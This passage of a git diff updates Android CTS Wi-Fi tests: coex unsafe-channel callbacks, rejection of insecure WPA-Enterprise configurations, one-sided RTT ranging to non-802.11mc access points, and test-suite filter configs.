+ final int restrictions = COEX_RESTRICTION_WIFI_DIRECT | COEX_RESTRICTION_SOFTAP
+ | COEX_RESTRICTION_WIFI_AWARE;
+
+ synchronized (mLock) {
+ try {
+ // Callback should be called if the default algorithm is disabled.
+ mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+ mWifiManager.unregisterCoexCallback(callback);
+ // Callback should not be called here since it was unregistered.
+ mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+ // now wait for callback
+ mLock.wait(TEST_WAIT_DURATION_MS);
+ } catch (InterruptedException e) {
+ fail("Thread interrupted unexpectedly while waiting on mLock");
+ }
+ }
+
+ if (callback.mOnCoexUnsafeChannelChangedCount == 0) {
+ // Default algorithm enabled, setter should have done nothing
+ assertEquals(prevUnsafeChannels, mWifiManager.getCoexUnsafeChannels());
+ assertEquals(prevRestrictions, mWifiManager.getCoexRestrictions());
+ } else if (callback.mOnCoexUnsafeChannelChangedCount == 1) {
+ // Default algorithm disabled, setter should set the getter values.
+ assertEquals(unsafeChannels, mWifiManager.getCoexUnsafeChannels());
+ assertEquals(restrictions, mWifiManager.getCoexRestrictions());
+ } else {
+ fail("Coex callback called " + callback.mOnCoexUnsafeChannelChangedCount
+ + " times. Expected 1 call." );
+ }
+ } finally {
+ // Reset the previous unsafe channels if we overrode them.
+ if (prevRestrictions != -1) {
+ mWifiManager.setCoexUnsafeChannels(prevUnsafeChannels, prevRestrictions);
+ }
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+
+ /**
+ * Verify that insecure WPA-Enterprise network configurations are rejected.
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ WifiConfiguration wifiConfiguration = new WifiConfiguration();
+ wifiConfiguration.SSID = SSID1;
+ wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+ wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+ int networkId = INVALID_NETWORK_ID;
+
+ // These below API's only work with privileged permissions (obtained via shell identity
+ // for test)
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // Verify that an insecure network is rejected
+ assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+ // Now configure it correctly with a Root CA cert and domain name
+ wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+ wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+ // Verify that the network is added
+ networkId = mWifiManager.addNetwork(wifiConfiguration);
+ assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+ // Verify that the update API accepts configurations configured securely
+ wifiConfiguration.networkId = networkId;
+ assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+ // Now clear the security configuration
+ wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+ wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+ // Verify that the update API rejects insecure configurations
+ assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+ } finally {
+ if (networkId != INVALID_NETWORK_ID) {
+ // Clean up the previously added network
+ mWifiManager.removeNetwork(networkId);
+ }
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 8be0ac6..d819f2c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,6 +16,7 @@
package android.net.wifi.cts;
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
import static android.os.Process.myUid;
@@ -49,6 +50,7 @@
import android.support.test.uiautomator.UiDevice;
import android.text.TextUtils;
+import androidx.core.os.BuildCompat;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -83,7 +85,6 @@
* ConnectivityManager.NetworkCallback)}.
*
* Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
*/
@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
@SmallTest
@@ -206,9 +207,9 @@
public static void setUpClass() throws Exception {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
// skip the test if WiFi is not supported
- assumeTrue(WifiFeature.isWifiSupported(context));
+ if (!WifiFeature.isWifiSupported(context)) return;
- WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertNotNull(wifiManager);
// turn on verbose logging for tests
@@ -246,7 +247,7 @@
Context context = InstrumentationRegistry.getInstrumentation().getContext();
if (!WifiFeature.isWifiSupported(context)) return;
- WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertNotNull(wifiManager);
if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
@@ -271,9 +272,17 @@
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ assumeTrue(WifiFeature.isWifiSupported(mContext));
+
// turn screen on
turnScreenOn();
+ // Clear any existing app state before each test.
+ if (BuildCompat.isAtLeastS()) {
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ }
+
List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
() -> mWifiManager.getPrivilegedConfiguredNetworks());
// Pick the last saved network on the device (assumes that it is in range)
@@ -292,6 +301,11 @@
if (mNetworkCallback != null) {
mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
}
+ // Clear any existing app state after each test.
+ if (BuildCompat.isAtLeastS()) {
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ }
turnScreenOff();
}
@@ -478,6 +492,7 @@
mConnectivityManager.requestNetwork(
new NetworkRequest.Builder()
.addTransportType(TRANSPORT_WIFI)
+ .removeCapability(NET_CAPABILITY_INTERNET)
.setNetworkSpecifier(specifier)
.build(),
mNetworkCallback);
@@ -531,8 +546,8 @@
} else {
fail("Unsupported security type found in saved networks");
}
- } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
- specifierBuilder.setIsEnhancedOpen(false);
+ } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+ specifierBuilder.setIsEnhancedOpen(true);
} else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
fail("Unsupported security type found in saved networks");
}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index c70d400..5a3730a 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -58,6 +58,9 @@
// Interval between failure scans
private static final int INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS = 5_000;
+ // 5GHz Frequency band
+ private static final int FREQUENCY_OF_5GHZ_BAND_IN_MHZ = 5_000;
+
protected WifiRttManager mWifiRttManager;
protected WifiManager mWifiManager;
private LocationManager mLocationManager;
@@ -232,7 +235,7 @@
*
* @param numScanRetries Maximum number of scans retries (in addition to first scan).
*/
- protected ScanResult scanForTestAp(int numScanRetries)
+ protected ScanResult scanForTest11mcCapableAp(int numScanRetries)
throws InterruptedException {
int scanCount = 0;
ScanResult bestTestAp = null;
@@ -253,4 +256,37 @@
}
return bestTestAp;
}
+
+ /**
+ * Start a scan and return a test AP which does NOT support IEEE 802.11mc, with a BSS in the
+ * 5GHz band, and which has the highest RSSI. Will perform N (parameterized) scans and get
+ * the best AP across all scan results.
+ *
+ * Returns null if test AP is not found in the specified number of scans.
+ *
+ * @param numScanRetries Maximum number of scans retries (in addition to first scan).
+ */
+ protected ScanResult scanForTestNon11mcCapableAp(int numScanRetries)
+ throws InterruptedException {
+ int scanCount = 0;
+ ScanResult bestTestAp = null;
+ while (scanCount <= numScanRetries) {
+ for (ScanResult scanResult : scanAps()) {
+ // Ensure using a 5GHz or greater channel
+ if (scanResult.is80211mcResponder()
+ || scanResult.centerFreq0 < FREQUENCY_OF_5GHZ_BAND_IN_MHZ) {
+ continue;
+ }
+ if (bestTestAp == null || scanResult.level > bestTestAp.level) {
+ bestTestAp = scanResult;
+ }
+ }
+ if (bestTestAp == null) {
+ // Ongoing connection may cause scan failure, wait for a while before next scan.
+ Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+ }
+ scanCount++;
+ }
+ return bestTestAp;
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index cfd6448..7c828d6 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,8 @@
import android.net.wifi.rtt.ResponderLocation;
import android.platform.test.annotations.AppModeFull;
+import androidx.core.os.BuildCompat;
+
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -68,19 +70,25 @@
* - Failure ratio < threshold (constant)
* - Result margin < threshold (constant)
*/
- public void testRangingToTestAp() throws InterruptedException {
+ public void testRangingToTest11mcAp() throws InterruptedException {
if (!shouldTestWifiRtt(getContext())) {
return;
}
// Scan for IEEE 802.11mc supporting APs
- ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+ ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
assertNotNull(
"Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
+ "your test setup includes them!", testAp);
// Perform RTT operations
- RangingRequest request = new RangingRequest.Builder().addAccessPoint(testAp).build();
+ RangingRequest.Builder builder = new RangingRequest.Builder();
+ builder.addAccessPoint(testAp);
+ if (BuildCompat.isAtLeastS()) {
+ builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+ }
+ RangingRequest request = builder.build();
+
List<RangingResult> allResults = new ArrayList<>();
int numFailures = 0;
int distanceSum = 0;
@@ -116,6 +124,14 @@
int status = result.getStatus();
statuses[i] = status;
if (status == RangingResult.STATUS_SUCCESS) {
+ if (BuildCompat.isAtLeastS()) {
+ assertEquals(
+ "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
+ + "iteration "
+ + i,
+ result.getNumAttemptedMeasurements(),
+ RangingRequest.getMaxRttBurstSize());
+ }
distanceSum += result.getDistanceMm();
if (i == 0) {
distanceMin = result.getDistanceMm();
@@ -198,7 +214,7 @@
if (!shouldTestWifiRtt(getContext())) {
return;
}
- ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+ ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
assertNotNull(
"Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
+ "your test setup includes them!", testAp);
@@ -233,7 +249,7 @@
return;
}
// Scan for IEEE 802.11mc supporting APs
- ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+ ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
assertNotNull(
"Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
+ "your test setup includes them!", testAp);
@@ -416,4 +432,140 @@
assertNotNull("Wi-Fi RTT results: null results", rangingResults);
assertEquals("Invalid peerHandle should return 0 result", 0, rangingResults.size());
}
+
+ /**
+ * Test Wi-Fi One-sided RTT ranging operation:
+ * - Scan for visible APs for the test AP (which do not support IEEE 802.11mc) and are operating
+ * - in the 5GHz band.
+ * - Perform N (constant) RTT operations
+ * - Validate:
+ * - Failure ratio < threshold (constant)
+ * - Result margin < threshold (constant)
+ */
+ public void testRangingToTestNon11mcAp() throws InterruptedException {
+ if (!shouldTestWifiRtt(getContext()) || !BuildCompat.isAtLeastS()) {
+ return;
+ }
+
+ // Scan for Non-IEEE 802.11mc supporting APs
+ ScanResult testAp = scanForTestNon11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+ assertNotNull(
+ "Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+ + " your test setup includes them!", testAp);
+ // Perform RTT operations
+ RangingRequest.Builder builder = new RangingRequest.Builder();
+ builder.addNon80211mcCapableAccessPoint(testAp);
+ builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+ RangingRequest request = builder.build();
+
+ List<RangingResult> allResults = new ArrayList<>();
+ int numFailures = 0;
+ int distanceSum = 0;
+ int distanceMin = 0;
+ int distanceMax = 0;
+ int[] statuses = new int[NUM_OF_RTT_ITERATIONS];
+ int[] distanceMms = new int[NUM_OF_RTT_ITERATIONS];
+ int[] distanceStdDevMms = new int[NUM_OF_RTT_ITERATIONS];
+ int[] rssis = new int[NUM_OF_RTT_ITERATIONS];
+ int[] numAttempted = new int[NUM_OF_RTT_ITERATIONS];
+ int[] numSuccessful = new int[NUM_OF_RTT_ITERATIONS];
+ long[] timestampsMs = new long[NUM_OF_RTT_ITERATIONS];
+ byte[] lastLci = null;
+ byte[] lastLcr = null;
+ for (int i = 0; i < NUM_OF_RTT_ITERATIONS; ++i) {
+ ResultCallback callback = new ResultCallback();
+ mWifiRttManager.startRanging(request, mExecutor, callback);
+ assertTrue("Wi-Fi RTT results: no callback on iteration " + i,
+ callback.waitForCallback());
+
+ List<RangingResult> currentResults = callback.getResults();
+ assertNotNull("Wi-Fi RTT results: null results (onRangingFailure) on iteration " + i,
+ currentResults);
+ assertEquals("Wi-Fi RTT results: unexpected # of results (expect 1) on iteration " + i,
+ 1, currentResults.size());
+ RangingResult result = currentResults.get(0);
+ assertEquals("Wi-Fi RTT results: invalid result (wrong BSSID) entry on iteration " + i,
+ result.getMacAddress().toString(), testAp.BSSID);
+
+ assertNull("Wi-Fi RTT results: invalid result (non-null PeerHandle) entry on iteration "
+ + i, result.getPeerHandle());
+
+ allResults.add(result);
+ int status = result.getStatus();
+ statuses[i] = status;
+ if (status == RangingResult.STATUS_SUCCESS) {
+ distanceSum += result.getDistanceMm();
+ if (i == 0) {
+ distanceMin = result.getDistanceMm();
+ distanceMax = result.getDistanceMm();
+ } else {
+ distanceMin = Math.min(distanceMin, result.getDistanceMm());
+ distanceMax = Math.max(distanceMax, result.getDistanceMm());
+ }
+
+ assertTrue("Wi-Fi RTT results: invalid RSSI on iteration " + i,
+ result.getRssi() >= MIN_VALID_RSSI);
+
+ distanceMms[i - numFailures] = result.getDistanceMm();
+ distanceStdDevMms[i - numFailures] = result.getDistanceStdDevMm();
+ rssis[i - numFailures] = result.getRssi();
+ // For one-sided RTT the number of packets attempted in a burst is not available,
+ // So we set the result to be the same as used in the request.
+ numAttempted[i - numFailures] = request.getRttBurstSize();
+ numSuccessful[i - numFailures] = result.getNumSuccessfulMeasurements();
+ timestampsMs[i - numFailures] = result.getRangingTimestampMillis();
+
+ byte[] currentLci = result.getLci();
+ byte[] currentLcr = result.getLcr();
+ if (i - numFailures > 0) {
+ assertTrue("Wi-Fi RTT results: invalid result (LCI mismatch) on iteration " + i,
+ Arrays.equals(currentLci, lastLci));
+ assertTrue("Wi-Fi RTT results: invalid result (LCR mismatch) on iteration " + i,
+ Arrays.equals(currentLcr, lastLcr));
+ }
+ lastLci = currentLci;
+ lastLcr = currentLcr;
+ } else {
+ numFailures++;
+ }
+ // Sleep a while to avoid stress AP.
+ Thread.sleep(intervalMs);
+ }
+ // Save results to log
+ int numGoodResults = NUM_OF_RTT_ITERATIONS - numFailures;
+ DeviceReportLog reportLog = new DeviceReportLog(TAG, "testRangingToTestAp");
+ reportLog.addValues("status_codes", statuses, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValues("distance_mm", Arrays.copyOf(distanceMms, numGoodResults),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValues("distance_stddev_mm", Arrays.copyOf(distanceStdDevMms, numGoodResults),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValues("rssi_dbm", Arrays.copyOf(rssis, numGoodResults), ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ reportLog.addValues("num_attempted", Arrays.copyOf(numAttempted, numGoodResults),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValues("num_successful", Arrays.copyOf(numSuccessful, numGoodResults),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValues("timestamps", Arrays.copyOf(timestampsMs, numGoodResults),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
+ // Analyze results
+ assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures + ", ITERATIONS="
+ + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
+ + ", AP SSID=" + testAp.SSID,
+ numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
+ if (numFailures != NUM_OF_RTT_ITERATIONS) {
+ double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+ assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+ + (distanceMax - distanceAvg),
+ (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+ assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+ + (distanceAvg - distanceMin),
+ (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+ for (int i = 0; i < numGoodResults; ++i) {
+ assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+ assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+ }
+ }
+ }
}
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index 99ac0ee..c95efe1 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -22,6 +22,15 @@
<!-- Disable instant tests -->
<option name="compatibility:enable-parameterized-modules" value="false" />
+ <!-- Status bar, trampolines & close system dialogs -->
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withoutStatusBarPermission_throws"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withStatusBarPermission_doesNotThrow"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_isBlocked"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_isBlocked"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_whenApi30_isAllowed"/>
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.CloseSystemDialogsTest"/>
+
<!-- Overlays & touches -->
<option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowInputTests"/>
<option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest"/>
@@ -29,6 +38,7 @@
<!-- System Alert Window (SAW) -->
<option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+ <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
<option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
<!-- Toasts -->
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 0aad033..2e576cd 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -59,9 +59,6 @@
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
- <!-- b/71958344: Exclude until CTS releases it -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.OverlayHostTest#testInstallingOverlayHasNoEffect" />
-
<!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
@@ -126,9 +123,6 @@
<!-- b/110417203: Flaky tests -->
<option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
- <!-- b/80077786: MyVerizonServices fail -->
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
<!-- b/111101428: CtsOsTestCases irrelevant test cases -->
<option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
<option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index 1614c18..2b9994f 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -32,6 +32,7 @@
<option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
<option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
<option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+ <option name="compatibility:include-filter" value="CtsStatsdAtomHostTestCases" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
<option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
index 2226a16..bd4f759 100644
--- a/tools/cts-tradefed/tests/.classpath
+++ b/tools/cts-tradefed/tests/.classpath
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
- <classpathentry kind="src" path="src"/>
+ <classpathentry excluding="Android.bp" kind="src" path="src"/>
<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">